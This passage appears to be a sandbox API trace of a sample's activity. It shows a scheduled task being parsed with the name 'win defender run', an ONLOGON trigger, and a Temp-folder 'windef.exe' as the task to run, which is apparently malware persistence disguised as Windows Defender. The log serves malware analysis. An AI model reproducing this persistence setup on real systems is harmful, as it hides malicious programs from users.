[0153.285] lstrlenW (lpString="|showsid|") returned 9 [0153.285] lstrlenW (lpString="|tn|") returned 4 [0153.285] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0153.285] RtlRestoreLastWin32Error () returned 0x490 [0153.285] RtlRestoreLastWin32Error () returned 0x490 [0153.285] RtlRestoreLastWin32Error () returned 0x0 [0153.285] lstrlenW (lpString="/tn") returned 3 [0153.286] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0153.286] RtlRestoreLastWin32Error () returned 0x490 [0153.286] RtlRestoreLastWin32Error () returned 0x0 [0153.286] lstrlenW (lpString="/tn") returned 3 [0153.286] GetProcessHeap () returned 0x42a0000 [0153.286] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x8) returned 0x42a6d40 [0153.286] GetProcessHeap () returned 0x42a0000 [0153.286] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a9418 [0153.286] RtlRestoreLastWin32Error () returned 0x0 [0153.286] RtlRestoreLastWin32Error () returned 0x0 [0153.286] lstrlenW (lpString="win defender run") returned 16 [0153.286] lstrlenW (lpString="-/") returned 2 [0153.286] StrChrIW (lpStart="-/", wMatch=0x4630077) returned 0x0 [0153.286] RtlRestoreLastWin32Error () returned 0x490 [0153.286] RtlRestoreLastWin32Error () returned 0x490 [0153.286] RtlRestoreLastWin32Error () returned 0x0 [0153.286] lstrlenW (lpString="win defender run") returned 16 [0153.286] StrChrIW (lpStart="win defender run", wMatch=0x3a) returned 0x0 [0153.286] RtlRestoreLastWin32Error () returned 0x490 [0153.286] RtlRestoreLastWin32Error () returned 0x0 [0153.286] lstrlenW (lpString="win defender run") returned 16 [0153.286] GetProcessHeap () returned 0x42a0000 [0153.286] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x22) returned 0x42a9068 [0153.286] GetProcessHeap () returned 0x42a0000 [0153.286] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a96d8 [0153.286] RtlRestoreLastWin32Error () returned 0x0 [0153.286] RtlRestoreLastWin32Error () returned 0x0 [0153.286] lstrlenW (lpString="/sc") returned 3 [0153.286] lstrlenW (lpString="-/") returned 2 [0153.286] StrChrIW (lpStart="-/", wMatch=0x463002f) returned="/" [0153.287] lstrlenW (lpString="?") returned 1 [0153.287] lstrlenW (lpString="?") returned 1 [0153.287] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.287] lstrlenW (lpString="sc") returned 2 [0153.287] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.287] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|?|") returned 3 [0153.287] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|sc|") returned 4 [0153.287] lstrlenW (lpString="|?|") returned 3 [0153.287] lstrlenW (lpString="|sc|") returned 4 [0153.287] RtlRestoreLastWin32Error () returned 0x490 [0153.287] lstrlenW (lpString="create") returned 6 [0153.287] lstrlenW (lpString="create") returned 6 [0153.287] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.287] lstrlenW (lpString="sc") returned 2 [0153.287] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.287] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|create|") returned 8 [0153.287] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|sc|") returned 4 [0153.287] lstrlenW (lpString="|create|") returned 8 [0153.287] lstrlenW (lpString="|sc|") returned 4 [0153.287] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0153.287] RtlRestoreLastWin32Error () returned 0x490 [0153.287] lstrlenW (lpString="delete") returned 6 [0153.287] lstrlenW (lpString="delete") returned 6 [0153.287] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.288] lstrlenW (lpString="sc") returned 2 [0153.288] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.288] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|delete|") returned 8 [0153.288] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|sc|") returned 4 [0153.288] lstrlenW (lpString="|delete|") returned 8 [0153.288] lstrlenW (lpString="|sc|") returned 4 [0153.288] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0153.288] RtlRestoreLastWin32Error () returned 0x490 [0153.288] lstrlenW (lpString="query") returned 5 [0153.288] lstrlenW (lpString="query") returned 5 [0153.288] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.288] lstrlenW (lpString="sc") returned 2 [0153.288] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.288] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x8, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|query|") returned 7 [0153.288] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|sc|") returned 4 [0153.288] lstrlenW (lpString="|query|") returned 7 [0153.288] lstrlenW (lpString="|sc|") returned 4 [0153.288] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0153.288] RtlRestoreLastWin32Error () returned 0x490 [0153.288] lstrlenW (lpString="change") returned 6 [0153.288] lstrlenW (lpString="change") returned 6 [0153.288] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.288] lstrlenW (lpString="sc") returned 2 [0153.288] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.289] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|change|") returned 8 [0153.289] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|sc|") returned 4 [0153.289] lstrlenW (lpString="|change|") returned 8 [0153.289] lstrlenW (lpString="|sc|") returned 4 [0153.289] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0153.289] RtlRestoreLastWin32Error () returned 0x490 [0153.289] lstrlenW (lpString="run") returned 3 [0153.289] lstrlenW (lpString="run") returned 3 [0153.289] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.289] lstrlenW (lpString="sc") returned 2 [0153.289] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.289] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|run|") returned 5 [0153.289] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|sc|") returned 4 [0153.289] lstrlenW (lpString="|run|") returned 5 [0153.289] lstrlenW (lpString="|sc|") returned 4 [0153.289] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0153.289] RtlRestoreLastWin32Error () returned 0x490 [0153.289] lstrlenW (lpString="end") returned 3 [0153.289] lstrlenW (lpString="end") returned 3 [0153.289] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.289] lstrlenW (lpString="sc") returned 2 [0153.289] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.289] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|end|") returned 5 [0153.289] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|sc|") returned 4 [0153.289] lstrlenW (lpString="|end|") returned 5 [0153.290] lstrlenW (lpString="|sc|") returned 4 [0153.290] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0153.290] RtlRestoreLastWin32Error () returned 0x490 [0153.290] lstrlenW (lpString="showsid") returned 7 [0153.290] lstrlenW (lpString="showsid") returned 7 [0153.290] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.290] lstrlenW (lpString="sc") returned 2 [0153.290] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.290] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0xa, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|showsid|") returned 9 [0153.290] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|sc|") returned 4 [0153.290] lstrlenW (lpString="|showsid|") returned 9 [0153.290] lstrlenW (lpString="|sc|") returned 4 [0153.290] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0153.290] RtlRestoreLastWin32Error () returned 0x490 [0153.290] RtlRestoreLastWin32Error () returned 0x490 [0153.290] RtlRestoreLastWin32Error () returned 0x0 [0153.290] lstrlenW (lpString="/sc") returned 3 [0153.290] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0153.290] RtlRestoreLastWin32Error () returned 0x490 [0153.290] RtlRestoreLastWin32Error () returned 0x0 [0153.290] lstrlenW (lpString="/sc") returned 3 [0153.290] GetProcessHeap () returned 0x42a0000 [0153.290] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x8) returned 0x42a9908 [0153.290] GetProcessHeap () returned 0x42a0000 [0153.290] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a9618 [0153.290] RtlRestoreLastWin32Error () returned 0x0 [0153.290] RtlRestoreLastWin32Error () returned 0x0 [0153.290] lstrlenW (lpString="ONLOGON") returned 7 [0153.290] lstrlenW (lpString="-/") returned 2 [0153.291] StrChrIW (lpStart="-/", wMatch=0x463004f) returned 0x0 [0153.291] RtlRestoreLastWin32Error () returned 0x490 [0153.291] RtlRestoreLastWin32Error () returned 0x490 [0153.291] RtlRestoreLastWin32Error () returned 0x0 [0153.291] lstrlenW (lpString="ONLOGON") returned 7 [0153.291] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0153.291] RtlRestoreLastWin32Error () returned 0x490 [0153.291] RtlRestoreLastWin32Error () returned 0x0 [0153.291] lstrlenW (lpString="ONLOGON") returned 7 [0153.291] GetProcessHeap () returned 0x42a0000 [0153.291] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x10) returned 0x42a74a8 [0153.291] GetProcessHeap () returned 0x42a0000 [0153.291] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a9638 [0153.291] RtlRestoreLastWin32Error () returned 0x0 [0153.291] RtlRestoreLastWin32Error () returned 0x0 [0153.291] lstrlenW (lpString="/tr") returned 3 [0153.291] lstrlenW (lpString="-/") returned 2 [0153.291] StrChrIW (lpStart="-/", wMatch=0x463002f) returned="/" [0153.291] lstrlenW (lpString="?") returned 1 [0153.291] lstrlenW (lpString="?") returned 1 [0153.291] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.291] lstrlenW (lpString="tr") returned 2 [0153.291] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.291] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|?|") returned 3 [0153.291] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|tr|") returned 4 [0153.291] lstrlenW (lpString="|?|") returned 3 [0153.291] lstrlenW (lpString="|tr|") returned 4 [0153.291] RtlRestoreLastWin32Error () returned 0x490 [0153.291] lstrlenW (lpString="create") returned 6 [0153.291] lstrlenW (lpString="create") returned 6 [0153.292] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.292] lstrlenW (lpString="tr") returned 2 [0153.292] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.292] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|create|") returned 8 [0153.292] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|tr|") returned 4 [0153.292] lstrlenW (lpString="|create|") returned 8 [0153.292] lstrlenW (lpString="|tr|") returned 4 [0153.292] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0153.292] RtlRestoreLastWin32Error () returned 0x490 [0153.292] lstrlenW (lpString="delete") returned 6 [0153.292] lstrlenW (lpString="delete") returned 6 [0153.292] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.292] lstrlenW (lpString="tr") returned 2 [0153.292] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.292] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|delete|") returned 8 [0153.292] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|tr|") returned 4 [0153.292] lstrlenW (lpString="|delete|") returned 8 [0153.292] lstrlenW (lpString="|tr|") returned 4 [0153.292] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0153.292] RtlRestoreLastWin32Error () returned 0x490 [0153.292] lstrlenW (lpString="query") returned 5 [0153.292] lstrlenW (lpString="query") returned 5 [0153.292] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.292] lstrlenW (lpString="tr") returned 2 [0153.292] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.292] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x8, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|query|") returned 7 [0153.292] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|tr|") returned 4 [0153.293] lstrlenW (lpString="|query|") returned 7 [0153.293] lstrlenW (lpString="|tr|") returned 4 [0153.293] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0153.293] RtlRestoreLastWin32Error () returned 0x490 [0153.293] lstrlenW (lpString="change") returned 6 [0153.293] lstrlenW (lpString="change") returned 6 [0153.293] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.293] lstrlenW (lpString="tr") returned 2 [0153.293] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.293] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|change|") returned 8 [0153.293] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|tr|") returned 4 [0153.293] lstrlenW (lpString="|change|") returned 8 [0153.293] lstrlenW (lpString="|tr|") returned 4 [0153.293] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0153.293] RtlRestoreLastWin32Error () returned 0x490 [0153.293] lstrlenW (lpString="run") returned 3 [0153.293] lstrlenW (lpString="run") returned 3 [0153.293] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.293] lstrlenW (lpString="tr") returned 2 [0153.293] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.293] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|run|") returned 5 [0153.293] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|tr|") returned 4 [0153.293] lstrlenW (lpString="|run|") returned 5 [0153.293] lstrlenW (lpString="|tr|") returned 4 [0153.293] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0153.293] RtlRestoreLastWin32Error () returned 0x490 [0153.293] lstrlenW (lpString="end") returned 3 [0153.294] lstrlenW (lpString="end") returned 3 [0153.294] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.294] lstrlenW (lpString="tr") returned 2 [0153.294] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.294] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|end|") returned 5 [0153.294] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|tr|") returned 4 [0153.294] lstrlenW (lpString="|end|") returned 5 [0153.294] lstrlenW (lpString="|tr|") returned 4 [0153.294] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0153.294] RtlRestoreLastWin32Error () returned 0x490 [0153.294] lstrlenW (lpString="showsid") returned 7 [0153.294] lstrlenW (lpString="showsid") returned 7 [0153.294] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.294] lstrlenW (lpString="tr") returned 2 [0153.294] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.294] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0xa, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|showsid|") returned 9 [0153.294] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|tr|") returned 4 [0153.294] lstrlenW (lpString="|showsid|") returned 9 [0153.294] lstrlenW (lpString="|tr|") returned 4 [0153.294] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0153.294] RtlRestoreLastWin32Error () returned 0x490 [0153.294] RtlRestoreLastWin32Error () returned 0x490 [0153.294] RtlRestoreLastWin32Error () returned 0x0 [0153.294] lstrlenW (lpString="/tr") returned 3 [0153.294] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0153.294] RtlRestoreLastWin32Error () returned 0x490 [0153.294] RtlRestoreLastWin32Error () returned 0x0 [0153.294] lstrlenW (lpString="/tr") returned 3 [0153.294] GetProcessHeap () returned 0x42a0000 [0153.294] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x8) returned 0x42a28b8 [0153.295] GetProcessHeap () returned 0x42a0000 [0153.295] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a9698 [0153.295] RtlRestoreLastWin32Error () returned 0x0 [0153.295] RtlRestoreLastWin32Error () returned 0x0 [0153.295] lstrlenW (lpString="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe") returned 47 [0153.295] lstrlenW (lpString="-/") returned 2 [0153.295] StrChrIW (lpStart="-/", wMatch=0x4630043) returned 0x0 [0153.295] RtlRestoreLastWin32Error () returned 0x490 [0153.295] RtlRestoreLastWin32Error () returned 0x490 [0153.295] RtlRestoreLastWin32Error () returned 0x0 [0153.295] lstrlenW (lpString="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe") returned 47 [0153.295] StrChrIW (lpStart="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe", wMatch=0x3a) returned=":\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe" [0153.295] lstrlenW (lpString="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe") returned 47 [0153.295] GetProcessHeap () returned 0x42a0000 [0153.295] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x10) returned 0x42a74f0 [0153.295] _memicmp (_Buf1=0x42a74f0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.295] GetProcessHeap () returned 0x42a0000 [0153.295] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0xc) returned 0x42a7508 [0153.295] GetProcessHeap () returned 0x42a0000 [0153.295] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x10) returned 0x42aad08 [0153.295] _memicmp (_Buf1=0x42aad08, _Buf2=0x232708, _Size=0x7) returned 0 [0153.295] GetProcessHeap () returned 0x42a0000 [0153.295] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x64) returned 0x42aaf00 [0153.295] RtlRestoreLastWin32Error () returned 0x7a [0153.295] RtlRestoreLastWin32Error () returned 0x0 [0153.295] RtlRestoreLastWin32Error () returned 0x0 [0153.295] lstrlenW (lpString="C") returned 1 [0153.295] RtlRestoreLastWin32Error () returned 0x490 [0153.295] RtlRestoreLastWin32Error () returned 0x0 [0153.295] lstrlenW (lpString="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe") returned 47 [0153.295] GetProcessHeap () returned 0x42a0000 [0153.295] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x60) returned 0x42aaf70 [0153.295] GetProcessHeap () returned 0x42a0000 [0153.295] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a9578 [0153.296] RtlRestoreLastWin32Error () returned 0x0 [0153.296] RtlRestoreLastWin32Error () returned 0x0 [0153.296] lstrlenW (lpString="/rl") returned 3 [0153.296] lstrlenW (lpString="-/") returned 2 [0153.296] StrChrIW (lpStart="-/", wMatch=0x463002f) returned="/" [0153.296] lstrlenW (lpString="?") returned 1 [0153.296] lstrlenW (lpString="?") returned 1 [0153.296] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.296] lstrlenW (lpString="rl") returned 2 [0153.296] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.296] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|?|") returned 3 [0153.296] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|rl|") returned 4 [0153.296] lstrlenW (lpString="|?|") returned 3 [0153.296] lstrlenW (lpString="|rl|") returned 4 [0153.296] RtlRestoreLastWin32Error () returned 0x490 [0153.296] lstrlenW (lpString="create") returned 6 [0153.296] lstrlenW (lpString="create") returned 6 [0153.296] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.296] lstrlenW (lpString="rl") returned 2 [0153.296] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.296] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|create|") returned 8 [0153.296] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|rl|") returned 4 [0153.296] lstrlenW (lpString="|create|") returned 8 [0153.296] lstrlenW (lpString="|rl|") returned 4 [0153.298] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0153.298] RtlRestoreLastWin32Error () returned 0x490 [0153.298] lstrlenW (lpString="delete") returned 6 [0153.298] lstrlenW (lpString="delete") returned 6 [0153.298] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.298] lstrlenW (lpString="rl") returned 2 [0153.298] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.298] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|delete|") returned 8 [0153.298] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|rl|") returned 4 [0153.298] lstrlenW (lpString="|delete|") returned 8 [0153.298] lstrlenW (lpString="|rl|") returned 4 [0153.298] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0153.298] RtlRestoreLastWin32Error () returned 0x490 [0153.298] lstrlenW (lpString="query") returned 5 [0153.298] lstrlenW (lpString="query") returned 5 [0153.298] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.299] lstrlenW (lpString="rl") returned 2 [0153.299] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.299] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x8, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|query|") returned 7 [0153.299] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|rl|") returned 4 [0153.299] lstrlenW (lpString="|query|") returned 7 [0153.299] lstrlenW (lpString="|rl|") returned 4 [0153.299] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0153.299] RtlRestoreLastWin32Error () returned 0x490 [0153.299] lstrlenW (lpString="change") returned 6 [0153.299] lstrlenW (lpString="change") returned 6 [0153.299] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.299] lstrlenW (lpString="rl") returned 2 [0153.299] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.299] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|change|") returned 8 [0153.299] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|rl|") returned 4 [0153.299] lstrlenW (lpString="|change|") returned 8 [0153.299] lstrlenW (lpString="|rl|") returned 4 [0153.299] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0153.299] RtlRestoreLastWin32Error () returned 0x490 [0153.299] lstrlenW (lpString="run") returned 3 [0153.299] lstrlenW (lpString="run") returned 3 [0153.299] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.299] lstrlenW (lpString="rl") returned 2 [0153.299] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.300] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|run|") returned 5 [0153.300] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|rl|") returned 4 [0153.300] lstrlenW (lpString="|run|") returned 5 [0153.300] lstrlenW (lpString="|rl|") returned 4 [0153.300] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0153.300] RtlRestoreLastWin32Error () returned 0x490 [0153.300] lstrlenW (lpString="end") returned 3 [0153.300] lstrlenW (lpString="end") returned 3 [0153.300] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.300] lstrlenW (lpString="rl") returned 2 [0153.300] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.300] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|end|") returned 5 [0153.300] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|rl|") returned 4 [0153.300] lstrlenW (lpString="|end|") returned 5 [0153.300] lstrlenW (lpString="|rl|") returned 4 [0153.300] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0153.300] RtlRestoreLastWin32Error () returned 0x490 [0153.300] lstrlenW (lpString="showsid") returned 7 [0153.300] lstrlenW (lpString="showsid") returned 7 [0153.300] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.300] lstrlenW (lpString="rl") returned 2 [0153.300] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.301] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0xa, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|showsid|") returned 9 [0153.301] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|rl|") returned 4 [0153.301] lstrlenW (lpString="|showsid|") returned 9 [0153.301] lstrlenW (lpString="|rl|") returned 4 [0153.301] StrStrIW (lpFirst="|showsid|", 